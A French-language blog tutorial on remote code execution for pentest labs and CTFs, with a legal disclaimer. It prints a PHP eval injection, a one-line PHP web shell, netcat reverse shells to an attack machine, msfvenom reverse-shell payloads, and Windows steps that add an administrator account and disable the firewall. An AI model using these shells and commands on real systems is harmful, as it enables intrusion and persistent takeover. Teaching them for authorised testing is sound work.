Le Remote Code Exécution (RCE)

L’exécution de code à distance (RCE), également appelée injection de code, désigne l’ exécution de commandes sur un système distant. Cela signifie souvent l’exploitation d’une application / serveur web pour exécuter des commandes sur le système.

Avertissement :
Utiliser les techniques présentées sur ce blog, sur des systèmes qui ne vous appartiennent pas est ILLEGAL et peut vous exposer à de lourdes sanctions.

Si vous souhaitez vous exercer, vous devez le faire sur un système qui vous appartient, ou avec un accord écrit du propriétaire.

Je ne pourrais en aucun cas être tenu pour responsable de vos actes.

Technique de base

L’extrait php suivant prendra le code du paramètre GET et le fera passer par la fonction eval() sans aucune vérification des entrées :

<?php $code = $_GET['code'];
eval($code); ?>

La fonction eval() évalue le contenu en tant que code php, ce qui signifie que nous pouvons fournir n’importe quel code php en argument.

http://[host]/page.php?code=phpinfo();

RCE : Exécution de commandes à distance

Vous pouvez également exécuter des commandes système d’une seule ligne comme system('id') ;. Pour les commandes système multi-lignes, utilisez shell_exec :

http://[host]/page.php?code=echo shell_exec('/sbin/ifconfig eth0');

Cette méthode est utile à la fois pour l’énumération du système et l’injection de shell. Assurez-vous d’utiliser des chemins absolus pour appeler les fichiers système, sinon l’application web risque de ne pas les trouver.

Obtenir un Shell

Pour la plupart des labs de pentest / CTF, l’objectif est d’obtenir un terminal de commande sur la machine pour une exploitation ultérieure. Parfois, cela signifie simplement découvrir des informations d’identification SSH ou RDP (bureau à distance) et se connecter. D’autres fois, il s’agit d’exploiter une application web pour générer un reverse shell qui se connecte à votre machine d’attaque et attend des instructions.

Vous en apprendrez un peu plus sur les shells dans cet article (en anglais).

Les Listeners (auditeurs)

Votre machine d’attaque doit avoir un listener en marche pour capter une connexion de type reverse shell. Assurez-vous de spécifier l’adresse IP de votre machine d’attaque et d’utiliser un port qui n’est pas déjà utilisé. Si vous devez utiliser python SimpleHTTPServer pour des transferts, assurez-vous qu’il ne fonctionne pas sur le même port.

Listener Netcat

L’utilisation des ports 80 ou 443 vous aidera à contourner le filtrage des sorties :

nc -nlvp 443

Listener Meterpreter

Vous pouvez préférer un listener Meterpreter si vous vous connectez à une machine Windows et que vous voulez profiter de commandes comme getsystem, ou si vous voulez utiliser des exploits Metasploit locaux une fois que vous vous êtes connecté à la machine distante.

Évitez d’utiliser le port 4444, car il est largement reconnu comme un port Metasploit.

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp # or whatever
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost [attack machine] # your IP address
lhost => [attack machine]
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > run

Les Shells

Shell PHP simple

En supposant que vous puissiez mettre un fichier sur le serveur web ou modifier un fichier existant (par exemple un modèle de CMS), c’est le type de shell le plus simple :

<?php echo shell_exec($_GET['cmd']); ?>

Il permet d’utiliser des commandes système :

http://[host]/wordpress/index.php?cmd=id

Vous pouvez également l’utiliser pour créer un reverse shell :

http://[host]/wordpress/?cmd=nc [attack machine] [port] -e /bin/sh

Shell PHP

Vous pouvez trouver ce shell web en PHP sur PentestMonkey. Assurez-vous de modifier les variables suivantes avant de l’uploader sur le serveur :

$ip = '127.0.0.1';  # change to attack machine IP
$port = 1234;       # change to attack machine port

Shell Perl

Comme pour le shell PHP, modifiez les variables suivantes dans votre shell Perl :

my $ip = '127.0.0.1';
my $port = 1234;

Si le reverse shell ne se déclenche pas avec une extension .pl, vous pouvez essayer d’autres extensions comme .cgi.
N’oubliez pas d’appliquer les permissions correctes au fichier :

chmod 755 shell.pl

Shell WAR

Si vous pouvez accéder à l’interface de gestion d’un serveur Tomcat, vous pouvez générer et télécharger un fichier WAR :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=[attack machine] LPORT=443 -f war > shell.war

Vous pouvez lancer le shell en cliquant sur le lien dans l’interface de gestion de Tomcat, ou en allant à l’URL appropriée (http://[host]/shell/)

Shell ASP

Meterpreter permet d’obtenir des shells Windows, mais il est bon de s’entraîner à le faire manuellement.
Si Metasploit est inutilisable, vous pouvez utiliser msfvenom pour générer un non-staged payload (charge utile non-étagée) qui peut être capté par un listener netcat :

msfvenom -p windows/shell_reverse_tcp LHOST=[attack machine] LPORT=445 -f asp > shell.asp

Un non-staged payload est envoyé en une seule fois, c’est pourquoi il peut être capté par un listener Netcat. Un staged payload est envoyé en petits morceaux, c’est pourquoi il faut utiliser Metasploit. Il peut donc être utilisé lorsque l’espace de stockage du payload est limité.

Pour créer un staged payload et obtenir un shell, il faut utiliser le listener Metasploit /exploit/multi/handler :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[attack machine] LPORT=445 -f asp > shell.asp

Upgrader un shell

Vous utiliserez cette commande assez souvent pour upgrader vos shells :

python -c 'import pty; pty.spawn("/bin/bash");'

Pour améliorer encore le shell, utilisez Ctrl + Z pour faire tourner le shell en arrière-plan, puis sur votre machine locale :

stty raw -echo
fg

Tapez ensuite reset et appuyez sur Enter pour obtenir un shell entièrement interactif.

Si les dimensions du terminal sont incorrectes, appuyez à nouveau sur Ctrl + Z pour revenir au shell, puis allez sur votre machine locale et exécutez :

stty size

Vous devriez obtenir deux chiffres, qui sont le nombre de lignes et de colonnes de votre terminal. En supposant que ces nombres sont 48 120, retournez dans le shell de votre machine victime et lancez :

stty -rows 48 -columns 120

Windows

Si vous rencontrez un serveur IIS (serveur web Windows), vous pouvez utiliser msfvenom pour créer un payload .asp ou .aspx, comme décrit plus haut.

Vous pouvez également télécharger nc.exe (n’oubliez pas de régler le mode binaire si vous utilisez ftp), puis l’exécuter avec :

nc.exe -e cmd.exe [attack machine] [port]

Si RDP (le protocole de Bureau à Distance) est activé (port 3389), vous pourrez peut-être créer un utilisateur et l’ajouter au groupe “Remote Desktop Users“, puis vous connecter via le bureau à distance.

Ajouter un utilisateur sur Windows :

net user $username $password /add

Ajouter un utilisateur au groupe Remote Desktop Users :

net localgroup "Remote Desktop Users" $username /add

Faire d’un utilisateur un administrateur :

net localgroup administrators $username /add

Désactiver le pare-feu de Windows sur les versions les plus récentes :

NetSh Advfirewall set allprofiles state off

Désactivez le pare-feu des fenêtres plus anciennes :

netsh firewall set opmode disable


Dans un prochain article nous verrons les exploits.

En attendant, retrouvez tous les articles :

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *